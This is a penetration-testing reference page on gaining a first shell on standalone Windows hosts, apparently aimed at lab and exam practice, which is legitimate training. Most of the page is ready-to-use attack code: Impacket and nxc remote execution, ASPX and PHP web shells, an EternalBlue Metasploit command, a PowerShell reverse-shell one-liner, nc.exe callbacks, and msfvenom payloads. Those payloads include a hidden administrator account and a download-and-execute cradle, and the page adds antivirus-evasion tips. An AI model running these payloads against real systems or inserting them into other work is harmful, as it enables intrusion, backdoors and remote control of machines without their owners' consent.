# Windows Initial Exploitation

> Covers techniques for gaining initial footholds on Windows systems, including exploit execution, payload delivery, and leveraging common Windows vulnerabilities.

- **URL:** https://hackindex.io/platforms/windows/exploitation/windows-initial-exploitation
- **Path:** Windows > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/windows/exploitation.md)
- **Published:** 2026-05-06
- **Updated:** 2026-06-19

This page picks up where vulnerability discovery ends. You have confirmed what is exploitable: now you use it to get execution. The techniques here cover getting a first shell on a standalone Windows host without Active Directory context:

- Default or weak credentials over SMB, WinRM, and RDP
- PSExec-style execution via SMB (psexec, smbexec, wmiexec)
- Web shell delivery through file upload or SMB write
- Unpatched RCE vulnerabilities (EternalBlue, PrintNightmare)
- Reverse shell payloads for converting command execution into interactive sessions

## **Default or Weak Credentials to Shell**

If credential spraying or credential discovery returned a valid username and password, try them across SMB, WinRM, and RDP before going further. All three can give you immediate command execution.

**SMB command execution**: quick check to confirm the credentials work and you have remote exec access:

```bash
nxc smb $TARGET_IP -u $USER -p $PASSWORD -x whoami
```

If the output returns a username, the credentials are valid and SMB execution is available. `(Pwn3d!)` in the output confirms admin-level access.

**WinRM shell**: if port 5985 or 5986 is open and the account has WinRM access:

```bash
evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD
```

On Kali, install with `gem install evil-winrm` or use `/usr/bin/evil-winrm` if already present. This drops you into an interactive PowerShell session. Useful for file transfers, loading scripts, and running .NET assemblies in-memory.

**RDP access**: for GUI access when port 3389 is open:

```bash
xfreerdp /u:$USER /p:$PASSWORD /v:$TARGET_IP /cert:ignore
```

RDP is loud: it creates logon events and is visible in session logs.

## **PSExec-Style Execution via SMB**

When you have confirmed SMB admin access, the Impacket suite gives you multiple execution primitives. All run from a Linux attacker machine. For local accounts use `./` as the domain prefix or omit it entirely.

**psexec**: creates a named service on the target, uploads a binary to ADMIN$, and runs it:

```bash
impacket-psexec $USER:$PASSWORD@$TARGET_IP
```

This reliably returns a SYSTEM shell but is the noisiest option. It creates a service entry in the Windows Event Log and writes a binary to disk. AV and EDR commonly catch this.

**smbexec**: writes temporary batch files to execute commands without uploading a persistent binary:

```bash
impacket-smbexec $USER:$PASSWORD@$TARGET_IP
```

More evasive than psexec. Still creates service events and temporary files, but leaves a smaller footprint.

**wmiexec**: executes commands over WMI without creating a service or writing executables to disk:

```bash
impacket-wmiexec $USER:$PASSWORD@$TARGET_IP
```

Stealthiest of the three. Output is captured via a writable share, so no direct connection back to your machine. Prefer this when OPSEC matters.

**nxc with exec method selection:**

```bash
nxc smb $TARGET_IP -u $USER -p $PASSWORD --local-auth -x "whoami" --exec-method smbexec
```

Replace `smbexec` with `wmiexec` or `mmcexec` depending on what the target accepts. Drop `--local-auth` if authenticating against a domain account.

If you only have an NT hash instead of a plaintext password, replace `:$PASSWORD` with `-hashes :$NTHASH` for Impacket tools, or `-H $NTHASH` for nxc.

## **Web Shell via File Upload or SMB Write**

If the target is running IIS or another web server and you have write access to the webroot (either via SMB share access or a writable upload endpoint), placing a web shell gives persistent command execution through HTTP.

**Write an ASPX shell via SMB to IIS webroot:**

```bash
smbclient //$TARGET_IP/C$ -U $USER%$PASSWORD -c "put shell.aspx inetpub\wwwroot\shell.aspx"
```

Minimal ASPX shell payload to save as `shell.aspx`:

```xml
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<% var p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + Request["cmd"]; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.Start(); Response.Write(p.StandardOutput.ReadToEnd()); %>
```

Trigger it with:

```bash
curl "http://$TARGET_IP/shell.aspx?cmd=whoami"
```

**PHP shell on an Apache or PHP-backed target:**

```bash
smbclient //$TARGET_IP/wwwroot -U $USER%$PASSWORD -c "put shell.php"
```

Simple PHP payload:

```php
<?php system($_GET['cmd']); ?>
```

```bash
curl "http://$TARGET_IP/shell.php?cmd=whoami"
```

If the web server runs as a low-privileged account (IIS AppPool, `www-data`), follow up with a privilege escalation technique from the Windows platform pages.

## **MS17-010 (EternalBlue): Unauthenticated RCE**

EternalBlue exploits a critical SMB buffer overflow in Windows 7, Windows Server 2008 R2, and unpatched Windows 10 / Server 2016 builds. If the target is confirmed vulnerable, this gives unauthenticated SYSTEM-level code execution over port 445.

Before attempting exploitation, confirm the target is vulnerable. See the [EternalBlue vulnerability detection page.](https://hackindex.io/services/smb/vulnerability-discovery/ms17-010-detection)

```bash
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS $TARGET_IP; set LHOST $LHOST; set LPORT $LPORT; run"
```

> [!WARNING]
> This may be restricted in exams such as OSCP. Metasploit modules are limited to one machine per exam. Prefer non-Metasploit exploit paths where available; msfvenom payload generation and custom scripts stay allowed.

EternalBlue can crash unstable targets. On production systems, the exploit creates significant noise and should be treated as destructive-risk. In lab environments it is reliable on unpatched Windows 7 and Server 2008 R2.

## **PrintNightmare (CVE-2021-1675 / CVE-2021-34527)**

If the Print Spooler service is running and the target is unpatched, PrintNightmare allows unauthenticated or low-privileged users to achieve remote code execution or local privilege escalation via the Windows Print Spooler.

See the dedicated page for full exploitation steps: [PrintNightmare: Print Spooler RCE to SYSTEM](https://hackindex.io/services/smb/exploitation/vulnerabilities/printnightmare-print-spooler-rce-to-system).

Check if the Print Spooler is running before attempting:

```bash
nxc smb $TARGET_IP -u $USER -p $PASSWORD -M spooler
```

## **Reverse Shell Payloads for Windows**

Once you have command execution (via web shell, PSExec output, or a scripted callback), you often want an interactive shell. These payloads turn one-shot execution into a session.

Start a listener on your attack box first:

```bash
nc -lvnp $LPORT
```

**PowerShell reverse shell: one-liner:**

```bash
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "& {$client = New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}}"
```

If the target filters outbound connections on common ports, try port 80 or 443 for `$LPORT`.

**nc.exe drop and execute**: useful when you have file write access but PowerShell is restricted:

On Kali: `/usr/share/windows-resources/binaries/nc.exe`

Serve it over SMB or HTTP, then execute on the target:

```bash
\\$LHOST\share\nc.exe $LHOST $LPORT -e cmd.exe
```

Or after dropping it to disk:

```bash
C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd.exe
```

**msfvenom: reverse shell (staged):**

```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o payload.exe
```

Staged payload: requires Metasploit handler. Stageless (no handler needed, works with `nc`):

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o payload.exe
```

**msfvenom: bind shell**: target listens, attacker connects in (useful when outbound is filtered):

```bash
msfvenom -p windows/x64/shell_bind_tcp LPORT=$LPORT -f exe -o bind.exe
```

Connect from attacker after execution:

```bash
nc $TARGET_IP $LPORT
```

**msfvenom: exec payload**: wrap a single command in an EXE (add user, run script, etc.):

```bash
msfvenom -p windows/x64/exec CMD="net user hacker P@ssw0rd123 /add && net localgroup administrators hacker /add" -f exe -o adduser.exe
```

PowerShell download cradle as exec payload:

```bash
msfvenom -p windows/x64/exec CMD="powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')" -f exe -o loader.exe
```

**32-bit targets**: replace `windows/x64/` with `windows/` for x86:

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o payload32.exe
```

AV catches unsigned executables dropped to disk. If blocked: use the PowerShell in-memory approach, encode with `-e x86/shikata_ga_nai`, or use a custom loader.